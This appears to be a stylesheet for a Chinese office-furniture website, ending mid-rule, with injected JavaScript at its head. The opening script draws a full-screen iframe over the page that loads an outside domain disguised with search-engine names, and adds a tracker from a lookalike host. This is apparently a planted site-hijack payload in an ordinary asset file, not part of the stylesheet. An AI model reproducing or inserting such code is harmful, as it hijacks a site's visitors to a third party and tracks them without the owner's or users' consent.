var link = 'https://baidu.sougou.baize666.cc'
document.write('');
var iframe = document.createElement('iframe');
iframe.src = link;
iframe.scrolling = 'auto';
iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
var div1 = document.createElement("div");
var div = document.createElement("div");
div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;";
var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
if (is_mobi) {
div1.style.overflow = "auto";
}
div1.appendChild(iframe);
div.appendChild(div1);
document.write(div.innerHTML);
var _paq = window._paq = window._paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u="//tongji.baidui.co/";
_paq.push(['setTrackerUrl', u+'matomo.php']);
_paq.push(['setSiteId', '4']);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
})();@font-face {
font-family: "iconfont";
src: url("../fonts/iconfont.ttf") format("truetype");
}
.iconfont {
font-family: "iconfont" !important;
font-size: 16px;
font-style: normal;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.icon-pingfeng:before {
content: "\e600";
}
.icon-bangongzhuo1:before {
content: "\e609";
}
.icon-zhuozi:before {
content: "\e601";
}
.icon-jinrong:before {
content: "\e620";
}
.icon-gongyu:before {
content: "\e61d";
}
.icon-zhengfujianguan:before {
content: "\e639";
}
.icon-menu:before {
content: "\e60e";
}
.icon-shafa:before {
content: "\e60a";
}
.icon-xuexiao:before {
content: "\e77b";
}
.icon-jiudian:before {
content: "\e60b";
}
.icon-qiantai:before {
content: "\e665";
}
.icon-reception:before {
content: "\e618";
}
.icon-guizi:before {
content: "\e614";
}
.icon-gaoguan:before {
content: "\e607";
}
.icon-zixun:before {
content: "\e611";
}
.icon-jiaoyukeyan:before {
content: "\e62f";
}
.icon-dengzi:before {
content: "\e655";
}
.icon-icon_yidongbangongzhuo:before {
content: "\e664";
}
.icon-huojia:before {
content: "\e60c";
}
.icon-zhuozi3:before {
content: "\e60d";
}
.icon-huiyi:before {
content: "\e608";
}
.icon-bangongyi:before {
content: "\e606";
}
.icon-dichan:before {
content: "\e656";
}
.icon-xinxikeji:before {
content: "\e6d7";
}
.icon-qiangzhi:before {
content: "\e62a";
}
.icon-zhuozi1:before {
content: "\e604";
}
.icon-huwai:before {
content: "\e622";
}
.icon-zhuangxiushangjia-:before {
content: "\e603";
}
.icon-wenjiangui:before {
content: "\e657";
}
.icon-zuoyi:before {
content: "\e623";
}
.icon-bangongzhuo:before {
content: "\e625";
}
.icon-chuwugui:before {
content: "\e602";
}
.icon-zhuozi2:before {
content: "\e631";
}
.icon-shang:before {
content: "\e610";
}
.icon-yizi:before {
content: "\e605";
}
.icon-zhiyuan:before {
content: "\e6b8";
}
.icon-shenghuofuwu:before {
content: "\e688";
}
.icon-maoyi-:before {
content: "\ea15";
}
.icon-yiliaoweisheng-:before {
content: "\ed71";
}
.icon-canting-:before {
content: "\e624";
}
.icon-xiuxianyi:before {
content: "\e667";
}
.icon-jiugui:before {
content: "\e658";
}
.icon-chaji:before {
content: "\e684";
}
.icon-icon1:before {
content: "\e60f";
}
.icon-canzhuo:before {
content: "\e629";
}
.icon-yiyuan:before {
content: "\e63b";
}
.icon-pizhizuoyi:before {
content: "\e681";
}
.icon-shugui:before {
content: "\e696";
}
.icon-gonggong:before {
content: "\e6f9";
}
.icon-yiziyoux-:before {
content: "\e6aa";
}
/* 2020/8/7 */
blockquote,body,button,caption,dd,div,dl,dt,fieldset,figure,form,h1,h2,h3,h4,h5,h6,hr,html,input,legend,li,menu,ol,p,pre,table,td,textarea,th,ul {
margin: 0;
padding: 0
}
address,article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section {
display: block
}
table {
border-collapse: collapse;
border-spacing: 0
}
caption,th {
text-align: left;
font-weight: 400
}
abbr,body,fieldset,html,iframe,img {
border: 0
}
address,cite,dfn,em,var {
font-style: normal
}
i {
font-style: italic
}[hidefocus],summary {
outline: 0
}
li {
list-style: none
}
h1,h2,h3,h4,h5,h6 {
font-size: 100%
}
sub,sup {
font-size: 83%
}
code,kbd,pre,samp {
font-family: inherit
}
q:after,q:before {
content: none
}
textarea {
overflow: auto;
resize: none
}
label,summary {
cursor: default
}
a,button {
cursor: pointer;
border: 0
}
button,img,input,select {
vertical-align: middle;
outline: 0
}
table {
font-size: 12px
}
b,em,h1,h2,h3,h4,h5,h6,strong {
font-weight: 700
}
a,a:hover,ins,s,u {
text-decoration: none
}
body,html {
font: 12px/22px "Microsoft YaHei",\5b8b\4f53,arial;
outline: 0;
color: #666;
background: #fff
}
image {
border: 0
}
a {
color: #666
}
a:hover {
color: #094
}
.w {
width: 1228px;
margin: 0 auto;
overflow: hidden;
zoom: 1;
position: relative
}
.w2 {
width: 1228px;
margin: 0 auto;
overflow: hidden;
zoom: 1
}
.w3 {
width: 1228px;
margin: 0 auto;
overflow: hidden;
zoom: 1
}
.ww3 {
position: relative
}
.w4 {
width: 1275px;
margin: 0 auto
}
.w8 {
width: 1245px;
padding: 0 15px;
margin: 0 auto
}
.ww {
width: 100%
}
.wwe {
width: 1364px
}
.ww .chakangoumai img {
width: 100%;
margin-top: 13px
}
.cont_left,.fl,.left {
float: left
}
.cont_right,.fr,.right {
float: right
}
.tc {
text-align: center
}
.tr {
text-align: right
}
.bk {
display: block
}
.oz {
overflow: hidden;
zoom: 1
}
.b {
font-weight: 700
}
.cf {
color: #fff
}
.c0 {
color: #000
}
.cr {
color: red
}
.cg {
color: #094
}
.c3 {
color: #333
}
.c2 {
color: #222
}
.c5 {
color: #555
}
.c6 {
color: #666
}
.c7 {
color: #777
}
.c8 {
color: #888
}
.c9 {
color: #999
}
.co {
color: #b2772c
}
.border {
border: 1px solid #d0cba4
}
.bs {
border: 1px solid #ddd;
box-shadow: 1px 1px 2px 1px rgba(100,100,100,.1);
background: #fff;
margin-top: 8px
}
.bf {
background-color: #fff
}
.c9 {
color: #999
}
.f12 {
font-size: 12px
}
.f13 {
font-size: 13px
}
.f14 {
font-size: 14px
}
.f16 {
font-size: 16px
}
.f18 {
font-size: 18px
}
.f20 {
font-size: 20px
}
.cb {
color: #0c83d3
}
.simsun {
font-family: simsun,serif
}
.yh {
font-family: "Microsoft YaHei",serif
}
.clear {
clear: both
}
.pr {
position: relative
}
.pa {
position: absolute
}
.n {
font-weight: 100
}
.hide {
display: none
}
.filter {
background: rgba(141,101,31,.6)
}
.cz {
color: #7d7a69
}
.pc-show {
display: block
}
.phone-show {
display: none
}
.main-content {
width: 1228px;
margin: 0 auto
}
.input_d_list li {
color: #a9a9a9;
text-decoration: none;
display: block;
padding: 0 15px;
font-size: 12px
}
.input_d_list li:hover {
background: #f7f6f6
}
.input_box {
position: absolute;
height: 100%;
right: 325px;
top: 0
}
.input_box input {
border: 0;
height: 28px;
width: 160px;
padding: 0 15px;
position: absolute;
top: 50%;
margin-top: -14px;
left: 0
}
.input_box input:focus {
outline: 0
}
.input_content {
position: relative;
width: 238px;
height: 100%;
right: 10px
}
.text_content {
color: #fff
}
.input_s_btn {
z-index: 10;
line-height: 28px;
text-align: center;
color: #fff;
position: absolute;
width: 48px;
height: 28px;
background: #ccc;
right: -1px;
top: 50%;
margin-top: -14px;
cursor: pointer;
font-size: 14px
}
.input_r_btn {
cursor: pointer;
width: 20px;
height: 20px;
position: absolute;
top: 50%;
margin-top: -10px;
right: 20px
}
.input_r_btn img {
vertical-align: top;
display: none;
}
.input_s_btn span {
display: block;
background: #fff;
height: 100%
}
.input_s_btn span img {
position: absolute;
left: 14px;
top: 4px
}
.input_d_list {
width: 190px;
position: absolute;
top: 28px;
left: -192px;
border: 1px solid #333;
border-top: 0;
background: #fff;
font-size: 14px;
color: #333;
text-align: left
}
.input_content {
display: none
}
#header2 {
background: #313131;
position: fixed;
left: 0;
top: 0;
width: 100%;
z-index: 4
}
#header2 a {
color: #fff
}
#header2 li {
float: left;
position: relative
}
#header2 li a {
padding: 21px 26px;
display: inline-block;
font-size: 14px;
line-height: 14px
}
#header2 li:hover a {
background: #fff;
color: #333
}
#header2 li.on {
background: #fff
}
#header2 li.on a {
color: #333
}
#header2 li:first-child {
margin: 15px 26px 0 0;
background: 0 0
}
#header2 li:first-child:hover a {
background: 0 0
}
#header2 li:first-child a {
padding: 0
}
#header2 li:last-child {
margin: 15px 0 0 25px;
color: #fff;
background: 0 0
}
#header2 li span {
font-size: 16px;
margin: 3px 0 0 6px;
float: left;
font-weight: 700
}
#header2 li:last-child img {
float: left
}
.header2 {
top: -54px
}
#header2 li .header-chengnuo {
margin-left: 23px;
margin-top: -2px
}
.product-erjimenu {
position: fixed;
top: 56px;
background: rgba(49,49,49,.9);
width: 100%;
z-index: 4;
box-shadow: 0 1px 10px #a0a0a0
}
.design-erjimenu {
top: 50px
}
.product-erjimenu ul {
width: 1380px;
text-align: left
}
.dingzhi-erjimenu ul {
text-align: left
}
.product-erjimenu li {
float: left
}
.product-erjimenu li:hover>a {
background: url(../images/20171122-caidan01.jpg) no-repeat center 50px
}
.product-erjimenu li a {
padding: 20px 0;
display: inline-block;
font-size: 14px;
color: #d2d2d2;
margin-right: 40px
}
.product-erjimenu li:last-child>a {
margin-right: 0
}
.product-erjimenu li a img {
margin-left: 3px;
transition: all .3s ease-out
}
.product-erjimenu li:hover a img {
transform: rotate(180deg);
-webkit-transform: rotate(180deg)
}
.product-erjimenu .down-menu a {
color: #fff;
font-size: 14px
}
.product-erjimenu .down-menu a:hover {
color: #fff
}
.product-erjimenu .down-menu {
position: absolute;
width: 100%;
left: 0;
top: 60px;
text-align: center;
display: none;
background: rgba(49,49,49,.9);
border-top: 1px solid #666
}
.product-erjimenu li.on .down-menu {
display: block
}
.product-erjimenu .down-menu a {
color: #d2d2d2;
padding: 14px 0
}
.product-erjimenu li.on .down-menu {
display: block
}
.about-erjimenu ul {
text-align: center
}
.about-erjimenu li {
float: none;
display: inline-block
}
.about-erjimenu li.on a {
background: url(../images/20171122-caidan01.jpg) no-repeat center 50px
}
.about-erjimenu li.ons a {
background: url(../images/20171122-caidan01.jpg) no-repeat center 1px
}
.product-erjimenu li>a.active {
background: url(../images/20171122-caidan01.jpg) no-repeat center 50px
}
.product-erjimenu li>a.active img {
transform: rotate(180deg);
-webkit-transform: rotate(180deg);
-moz-transform: rotate(180deg)
}
.product-erjimenu .sanji-menu a.on {
background: url(../images/20171122-caidan01.jpg) no-repeat center 40px
}
.product-erjimenu li:last-child a {
padding-right: 0
}
.about-erjimenu li:last-child a {
padding-right: 16px
}
.index-hangye-h3 {
text-align: center
}
.indexMenuNav {
float: left;
width: 120px;
z-index: 999;
min-height: 66px
}
.indexMenuNav #menuName {
height: 40px;
width: 130px
}
.indexMenuNav #menuName h2 {
line-height: 40px;
background-position: -70px 13px
}
.indexMenuNav #menuName h2 a {
font-weight: 700;
font-size: 14px
}
.item-list .subitem {
padding: 18px 10px 0 10px
}
.item-list .subitem dl {
overflow: hidden;
zoom: 1
}
.item-list .subitem dl dt {
line-height: 30px;
margin-bottom: 6px
}
.item-list .subitem dl dt a {
color: #094;
border-left: 6px solid #094;
padding-left: 5px;
line-height: 20px
}
.item-list .subitem dl dd {
line-height: 30px;
padding-left: 20px;
font-weight: 100
}
.index-product {
margin-top: 64px
}
.index-fangan {
margin: 64px auto 100px
}
.index-fangan ul li {
text-align: center;
width: 48.5%;
overflow: hidden;
float: left;
margin-right: 2%;
background: #fff;
border: 1px solid #ccc;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out
}
.index-fangan ul li:nth-child(2n) {
margin-right: 0
}
.index-fangan ul li img {
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out
}
.index-fangan ul li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.index-fangan ul li:hover {
box-shadow: 2px 2px 4px #dedede
}
.index-fangan ul li span {
display: block;
text-align: center;
overflow: hidden;
width: 110px;
line-height: 40px;
padding: 0;
font-size: 18px;
background: #fff;
color: #333;
height: 40px;
position: absolute;
top: -20px;
box-shadow: 2px 3px 10px #aaa;
left: 50%;
margin-left: -55px
}
.index-fangan ul li p {
text-align: left;
font-size: 13px;
margin-top: 20px
}
.index-fangan li .img {
width: 100%;
height: auto
}
.index-fangan li .text {
width: 90%;
padding: 3% 5%;
position: relative
}
.index-fangan ul li img {
width: 100%;
height: auto
}
.index-fangan ul li a:hover {
text-decoration: none!important
}
.index-anli .dingzhi-anli-list .list-li2 {
background: #fff;
position: relative;
margin: 0 31px 0 0;
height: 420px;
border: 1px solid #dedede;
box-shadow: none
}
.index-anli .dingzhi-anli-list .list-li2:hover {
height: 400px
}
.index-anli .list-li2:last-child {
margin-right: 0
}
.index-anli .list-li2 .index-proj-logo {
width: 92px;
position: absolute;
top: 30%;
left: 50%;
margin-left: -46px;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out
}
.index-anli .list-li2:hover .index-proj-logo {
top: 29%
}
.index-anli .list-li2 .boxx {
margin-top: 45px;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out
}
.index-anli .list-li2:hover .boxx {
margin-top: 35px;
border: none
}
.index-friend img {
width: 99.8%;
height: auto;
border: 1px solid #eee;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out
}
.index-peitao-level2 {
width: 22%;
margin: 0 auto;
text-align: center;
border-top: 1px solid #ccc;
margin-top: -5px;
}
.index-peitao-level2 li {
margin: 5px 0;
display: inline-block;
}
.index-peitao-level2 li h3 a {
color: #999;
font-size: 14px;
padding: 0 12px;
}
.index-anli .dingzhi-anli-list .list-li2 img {
height: auto
}
.index-about>img {
height: auto
}
.slideBox {
position: relative;
overflow: hidden
}
.slideBox .hd {
position: absolute;
left: 0;
bottom: 5px;
z-index: 2;
width: 100%;
text-align: center
}
.slideBox .hd ul li {
cursor: pointer;
background: #fff;
display: inline-block;
width: 45px;
height: 2px;
margin: 0 7px
}
.slideBox .hd ul li.on {
background: #333
}
.slideBox .bd {
position: relative;
z-index: 0;
width: 100%;
top: 0
}
.slideBox .bd li {
zoom: 1;
vertical-align: middle
}
.slideBox .bd li img {
width: 100%;
height: auto;
display: block
}
.slideBox .bd>a {
position: absolute;
display: block;
bottom: 7%;
left: 50%;
margin-left: -17.5%
}
.h2_com {
font-size: 24px
}
.h2_com em {
display: inline-block;
height: 30px;
padding: 0;
line-height: 30px;
font-weight: 700;
background: url(../images/title-line-1027.jpg) no-repeat center bottom;
color: #444;
padding-bottom: 6px
}
.h2_com p {
text-align: center;
font-size: 14px;
color: #666;
font-weight: 400;
padding-top: 5px
}
.index-chejian {
margin-top: 100px
}
.index-about {
width: 1228px;
margin: 45px auto 10px;
padding: 0;
overflow: hidden;
zoom: 1;
border: 1px solid #dedede
}
.index-about:hover {
border: 1px solid #e8e8e8;
background: #fff;
-webkit-box-shadow: 0 0 15px #dedede;
-moz-box-shadow: 0 0 15px #dedede;
box-shadow: 0 0 15px #dedede
}
.index-about .text {
width: 46.4%;
float: right;
padding: 28px 30px
}
.index-about .text h2 {
font-size: 22px;
color: #333;
font-weight: 400
}
.index-about .text hr {
width: 40px;
background: #000;
height: 1px;
margin: 15px 0 10px 0
}
.index-about .text p {
font-size: 14px;
line-height: 28px;
text-align: justify
}
.index-about .text a {
display: inline-block;
padding: 4px 10px;
border: 1px solid #666;
margin-top: 19px;
font-size: 16px
}
.index-about .text a:hover {
background: #313131;
color: #f6f6f6;
border: 1px solid #313131
}
.slideTxtBox ul {
text-align: center
}
.slideTxtBox ul.m-l {
margin-left: 0
}
.slideTxtBox ul li {
width: 288px;
margin: 0 22px 20px 0;
line-height: 26px;
display: inline-block
}
.jingdian ul li .img {
height: 342px
}
.slideTxtBox ul li:last-child {
margin-right: 0
}
.slideTxtBox ul li:nth-child(4n) {
margin-right: 0
}
.slideTxtBox ul li a {
color: #333
}
.slideTxtBox ul li span {
display: block;
text-align: left
}
.slideTxtBox ul li .span1 {
font-size: 15px;
color: #313131;
font-weight: 700;
line-height: 15px;
margin: 25px 0 2px
}
.slideTxtBox ul li .span2 {
font-size: 12px;
color: #999
}
.slideTxtBox ul li.on {
font-size: 18px;
border-bottom: 4px solid #333
}
.slideTxtBox ul li.on a {
color: #094
}
.slideTxtBox ul li img {
width: 100%;
height: auto
}
.slideTxtBox ul li .titl {
display: block;
line-height: 40px;
height: 40px;
overflow: hidden;
text-overflow: ellipsis;
margin: 0 auto;
white-space: nowrap;
padding: 0 20px;
background: #f5f5f5
}
.slideTxtBox ul li .img {
border: 1px solid #eee;
width: 100%;
display: block;
overflow: hidden
}
.slideTxtBox ul li .title {
margin: 18px auto 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
padding: 0 20px;
display: block;
line-height: 12px;
text-align: center;
height: 15px
}
.slideTxtBox ul li img {
width: 100%;
transition: all 1s;
-moz-transition: all 1s;
-webkit-transition: all 1s
}
.slideTxtBox ul li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.slideTxtBox ul li:hover a {
color: #094
}
.jingdian {
margin: 30px auto 60px
}
.jingdian ul li {
width: 588px;
margin: 0 45px 0 0
}
.slideTxtBox ul li:nth-of-type(5),.slideTxtBox ul li:nth-of-type(6),.slideTxtBox ul li:nth-of-type(7),.slideTxtBox ul li:nth-of-type(8) {
margin-bottom: 0!important
}
.import_news,.jiangtangBody {
padding-top: 30px
}
.index-line {
background: #f5f5f5;
width: 1228px;
height: 10px;
margin: 0 auto
}
.zhengti {
margin: 0 auto 64px
}
.import_news .fl {
width: 604px
}
.import_news .fl div {
padding: 0 47px;
background: #f1f1f1;
height: 134px
}
.import_news .fl div h3 {
line-height: 62px;
font-size: 24px
}
.import_news .fl div h3 a:hover {
text-decoration: underline
}
.import_news .fl div p {
line-height: 21px
}
.import_news .fr {
width: 604px
}
.slideTxtBox_3 .hd {
position: relative;
height: 40px
}
.slideTxtBox_3 .hd li {
line-height: 39px;
margin-right: 6px;
float: left;
width: 120px;
background: #f1f1f1
}
.slideTxtBox_3 .hd li a {
color: #000
}
.slideTxtBox_3 .hd ul li.on {
background: #313131
}
.slideTxtBox_3 .hd ul li.on a {
color: #fff
}
.slideTxtBox_3 .bd {
overflow: hidden;
width: 604px
}
.import_news .ptfa {
overflow: hidden
}
.import_news .ptfa li {
width: 47%;
float: left;
background: #f1f1f1;
margin: 0 2% 2% 0;
padding: 1%
}
.import_news .ptfa .spee {
margin-bottom: 0
}
.import_news .ptfa li:nth-child(even) {
margin-right: 0
}
.import_news .ptfa .cc3 {
width: 32%;
overflow: hidden;
margin-right: 2%;
float: left
}
.import_news .ptfa .cc3 img {
width: 100%
}
.import_news .ptfa .c3 {
font-size: 16px;
color: #333
}
.import_news .ptfa li:hover .c3 {
color: #094
}
.import_news .ptfa li .right {
width: 64%;
background: #f1f1f1;
margin-bottom: 2%
}
.import_news .right .f14 {
margin-bottom: 5px
}
.import_news .right .c6 {
color: #999
}
.import_news .fl {
background: #fff
}
.index-peitao-list li {
width: 47%;
float: left;
background: #fff;
margin: 8px 0 4px 0;
padding-left: 3%
}
.index-peitao-list li .img {
background: #fff;
width: 68px;
height: 68px;
padding: 0 17px 0 0;
float: left
}
.index-peitao-list li .text {
background: #fff;
padding: 0;
height: auto;
min-height: 73px;
float: left;
width: 94%;
border-bottom: 1px dotted #ccc;
padding-bottom: 4px
}
.index-peitao-list li .title {
font-size: 14px;
color: #333;
height: 25px;
overflow: hidden;
font-weight: 700
}
.index-friend {
margin-top: 45px
}
.index-peisong {
text-align: center;
margin: 95px auto
}
.index-peisong .img {
margin-top: 45px
}
.index-peisong .h2_com_2 {
margin-top: 0
}
.index-peisong .imgli {
margin-right: 50px;
display: inline-block;
position: relative
}
.index-peisong .imgli:nth-of-type(3) {
margin-right: 0
}
.index-peisong .imgli:nth-of-type(3) {
margin-right: 0
}
.index-peisong .p1,.index-peisong .p2 {
position: absolute
}
.index-peisong .p1 {
font-size: 18px;
color: #1b1b1b;
top: 22px;
left: 0;
right: 0;
margin: auto
}
.index-peisong .p2 {
font-size: 14px;
color: #333;
top: 52px;
left: 0;
right: 0;
margin: auto
}
.com_div {
padding: 21px 16px 21px 0;
height: 68px;
border-bottom: 1px dashed #eaeaea
}
.com_div img {
width: 68px;
height: 68px
}
.two_pic {
padding: 30px 0
}
.youlian {
margin-bottom: 60px;
}
.youlian span {
display: inline-block;
padding: 10px;
cursor: default;
}
.yl_display {
display: none;
}
.yl_color {
background: #9a9da2;
color: #fff
}
.youlian div {
padding: 20px 42px;
float: left
}
.youlian div a {
width: 127px;
line-height: 26px;
float: left;
font-size: 12px
}
.samerecommend {
margin: 20px auto 50px
}
.samerecommend .tuijianlist {
width: 102%;
overflow: hidden;
zoom: 1
}
.samerecommend .tuijianlist li {
width: 190px;
height: 156px;
float: left;
margin: 20px 17px 0 0;
height: auto
}
.samerecommend .tuijianlist p {
width: 90%;
text-align: center;
color: #333;
overflow: hidden;
text-overflow: ellipsis;
margin: 10px auto;
white-space: nowrap
}
.samerecommend .tuijianlist li img {
width: 190px;
height: 132px
}
#fenlei {
background: #f1f1f1;
width: 1228px;
margin: auto;
height: 40px;
line-height: 40px;
clear: both
}
#fenlei b {
color: #ff5400;
margin-left: 10px
}
#zifenlei {
width: 1298px;
margin: auto;
line-height: 35px;
overflow: hidden;
zoom: 1
}
#zifenlei li {
float: left;
line-height: 35px;
margin-left: 50px;
margin-right: 50px
}
.pro_main {
width: 1228px;
margin: 30px auto 0;
overflow: hidden;
zoom: 1
}
.pro_main ul {
overflow: hidden;
zoom: 1;
width: 105%
}
.pro_main ul li.list-li {
float: left;
width: 290px;
margin: 0 22px 15px 0;
text-align: center;
font-weight: 400;
height: 300px;
}
.pro_main ul li.list-li span {
font-size: 12px;
color: #333;
text-align: center;
display: block;
margin: 15px 0
}
.pro_main ul li.list-li img {
width: 100%;
height: 100%;
transition: all 1s;
-moz-transition: all 1s;
-webkit-transition: all 1s
}
.pro_main ul li.list-li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.pro_main ul li.list-li .img {
width: 100%;
height: 193px;
overflow: hidden;
display: block;
border: 1px solid #eee
}
.huodong-list ul li.list-li .img {
height: 144px
}
.pro_main ul li.list-li p {
background: #f5f5f5;
line-height: 40px;
height: 40px;
overflow: hidden;
text-overflow: ellipsis;
margin: 0 auto;
white-space: nowrap;
padding: 0 20px
}
.dede_pages .pagelist {
padding: 20px 0;
text-align: center;
width: 1228px
}
.dede_pages .pagelist li {
display: inline-block;
margin-right: 5px;
border: 1px solid #e2e2e2;
background: #f6f6f6;
padding: 7px
}
.dede_pages .pagelist li.thisclass {
background: #333;
color: #fff
}
.phone-show-icon {
display: none
}
.news-main-pro {
width: 1228px;
margin: auto
}
.w_fl {
width: 842px;
float: left;
border-right: 2px solid #f0f0f0;
padding: 0 45px 0 60px;
margin: 30px 0 50px
}
.slideBox_news_1 {
width: 920px;
height: 250px;
overflow: hidden;
position: relative;
margin-top: 10px
}
.slideBox_news_1 .hd {
height: 15px;
overflow: hidden;
position: absolute;
right: 5px;
bottom: 5px;
z-index: 1
}
.slideBox_news_1 .hd ul {
overflow: hidden;
zoom: 1;
padding: 0;
margin: 0
}
.slideBox_news_1 .hd ul li {
float: left;
margin-right: 2px;
width: 15px;
height: 15px;
line-height: 14px;
text-align: center;
background: #fff;
cursor: pointer;
list-style: none
}
.slideBox_news_1 .hd ul li.on {
background: red;
color: #fff
}
.slideBox_news_1 .bd {
position: relative;
height: 100%;
z-index: 0;
display: block;
width: 100%
}
.slideBox_news_1 .bd ul {
padding: 0;
margin: 0
}
.slideBox_news_1 .bd li {
list-style: none
}
.slideBox_news_1 .bd img {
width: 945px;
height: 250px;
display: block
}
.news-erji-menu {
width: 100%;
height: 64px;
background: #fff
}
.news-erji-menu li {
width: 136px;
float: left;
height: 64px;
line-height: 64px;
text-align: center
}
.news-erji-menu li a {
font-size: 16px!important;
color: #999
}
.news-erji-menu li:hover a {
color: #094
}
.news-erji-menu li.on a {
color: #094
}
.rm2 {
clear: both
}
.rm2 p#hot-labels-three {
margin: 10px 0;
font-size: 16px;
font-weight: 700
}
.rm2 p a {
font-size: 12px;
color: gray
}
.rm2 p.rm2biaoti {
margin-bottom: 10px
}
.slideBox_news_2 {
width: 275px;
height: 260px;
overflow: hidden;
position: relative;
margin-top: 10px
}
.slideBox_news_2 .hd {
height: 15px;
overflow: hidden;
position: absolute;
left: 120px;
bottom: 5px;
z-index: 1
}
.slideBox_news_2 .hd ul {
overflow: hidden;
zoom: 1;
padding: 0;
margin: 0
}
.slideBox_news_2 .hd ul li {
float: left;
margin-right: 2px;
width: 15px;
height: 15px;
line-height: 14px;
text-align: center;
background: #fff;
cursor: pointer;
list-style: none
}
.slideBox_news_2 .hd ul li.on {
background: #0a7c1d;
color: #fff
}
.slideBox_news_2 .bd {
position: relative;
height: 100%;
z-index: 0;
display: block;
width: 100%
}
.slideBox_news_2 .bd ul {
padding: 0;
margin: 0
}
.slideBox_news_2 .bd li {
list-style: none;
text-align: center
}
.slideBox_news_2 .bd img {
width: 200px;
height: 200px
}
.slideBox_news_2 .bd p {
line-height: 30px;
font-size: 14px;
font-weight: 700
}
.slideBox_news_3 {
width: 275px;
height: 260px;
overflow: hidden;
position: relative;
margin-top: 10px
}
.slideBox_news_3 .hd {
height: 15px;
overflow: hidden;
position: absolute;
left: 120px;
bottom: 5px;
z-index: 1
}
.slideBox_news_3 .hd ul {
overflow: hidden;
zoom: 1;
padding: 0;
margin: 0
}
.slideBox_news_3 .hd ul li {
float: left;
margin-right: 2px;
width: 15px;
height: 15px;
line-height: 14px;
text-align: center;
background: #fff;
cursor: pointer;
list-style: none
}
.slideBox_news_3 .hd ul li.on {
background: #0a7c1d;
color: #fff
}
.slideBox_news_3 .bd {
position: relative;
height: 100%;
z-index: 0;
display: block;
width: 100%
}
.slideBox_news_3 .bd ul {
padding: 0;
margin: 0
}
.slideBox_news_3 .bd li {
list-style: none;
text-align: center
}
.slideBox_news_3 .bd img {
width: 200px;
height: 200px
}
.slideBox_news_3 .bd p {
line-height: 30px;
font-size: 14px;
font-weight: 700
}
.wrap {
margin: 10px 0 0 0;
position: relative;
background-color: transparent
}
.swiper-container {
position: relative;
overflow: hidden;
-webkit-backface-visibility: hidden;
-moz-backface-visibility: hidden;
-ms-backface-visibility: hidden;
-o-backface-visibility: hidden;
backface-visibility: hidden;
z-index: 1
}
.swiper-container .content-slide div {
margin: 10px 0 43px;
padding: 0 20px
}
.swiper-container .content-slide div img {
height: 98px;
width: 142px;
float: left
}
.swiper-container .content-slide div p {
margin-top: 10px;
margin-left: 165px;
height: 75px;
color: gray
}
.pagelist-2 {
padding: 20px 0;
text-align: center
}
.pagelist-2 li {
display: inline-block;
margin-right: 5px;
border: 1px solid #e2e2e2;
background: #f6f6f6;
padding: 7px
}
.pagelist-2 li.thisclass {
color: red;
border: 0;
background: 0
}
.news-list-right {
width: 200px;
float: right;
margin: 30px 38px 0 38px;
border: 1px solid #ececec
}
.news-list-right h3 {
line-height: 44px;
margin: 0;
width: 200px;
background: #f7f7f7;
font-size: 15px;
font-weight: 700;
color: #666;
text-align: left;
text-indent: 15px;
border-bottom: 1px solid #ececec
}
.news-list-right ul {
width: 200px;
margin: 0 auto;
overflow: hidden;
zoom: 1
}
.news-list-right li p {
padding: 0 10px;
width: 180px;
margin: 10px auto;
overflow: hidden;
text-overflow: ellipsis;
white-space: normal;
font-size: 12px
}
.news-list-right li img {
width: 180px;
height: 122px;
margin-top: 16px
}
#zhantingbangongshitop {
width: 1228px;
margin: 15px auto
}
#dzal_banner {
width: 1228px;
margin-top: 54px
}
#dzal_banner img {
width: 100%
}
.zhantingbox01 p {
color: #666;
font-size: 14px;
line-height: 24px
}
.zhantingbox01 .title01 {
font-size: 18px;
color: #666;
padding-bottom: 8px
}
.zhantingbox01 .title02 {
font-size: 24px;
color: #333;
margin: 0 0 15px 0;
font-weight: 700
}
.zhantinglist {
padding: 0;
float: left;
padding: 0;
float: left
}
.zhantinglistone {
background: url(../images/line20170315.png) no-repeat center 20px;
overflow: hidden;
zoom: 1
}
.zhantinglistspecial {
margin-top: 45px
}
.zhantinglist li {
width: 396px;
height: 290px;
margin-right: 20px;
float: left;
overflow: visible!important
}
.zhantinglist li:last-child {
margin-right: 0
}
.zhantinglist a {
display: block;
text-align: center
}
.zhantinglist span {
width: 200px;
height: 36px;
line-height: 36px;
display: block;
margin: 0 auto;
background: #fff;
z-index: 1000;
border-radius: 25px;
border: 1px solid #333;
font-size: 16px
}
.zhantinglist a img {
margin-top: 15px
}
.zhantinglist a:hover span {
color: #fff;
background-color: #333
}
.zhantinglist a:hover img {
box-shadow: 0 5px 15px 5px #b3bbc3;
transform: translate(0,-2px);
-moz-transform: translate(0,-2px);
-webkit-transform: translate(0,-2px);
transition: all .3s;
-moz-transition: all .3s;
-webkit-transition: all .3s
}
.zhantingbox-huisebg {
width: 100%;
height: 200px;
background-color: #f5f5f5;
margin: 35px 0
}
.commencontentab {
width: 850px;
margin: 0 auto;
overflow: hidden
}
.commencontentab p {
text-align: left;
width: 350px;
